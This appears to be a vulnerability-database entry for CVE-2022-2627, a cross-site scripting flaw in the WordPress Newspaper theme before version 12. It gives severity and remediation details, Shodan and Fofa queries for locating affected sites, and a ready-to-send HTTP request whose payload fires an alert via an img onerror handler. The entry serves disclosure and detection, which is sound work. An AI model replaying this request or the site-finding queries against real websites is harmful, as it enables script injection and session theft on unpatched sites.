🔙 목록으로 돌아가기

CVE-2022-2627: WordPress Newspaper < 12 - Cross-Site Scripting

TitleWordPress Newspaper < 12 - Cross-Site Scripting
Authorramondunker,c4sper0
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationFixed in version 12
CVSS Score6.1
EPSS Score0.23643
CVE IDCVE-2022-2627
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/themes/newspaper
Fofa Querybody=/wp-content/themes/newspaper
Tags cve2022 cve xss wordpress wp wp-theme newspaper wpscan tagdiv vuln

🔍 Vulnerability Description

WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Length: 146
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

action=td_ajax_loop&loopState[moduleId]=--><form><math><img+onerror=alert(document.domain)+src=1><mtext></form>&loopState[server_reply_html_data]=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2627.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2627.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A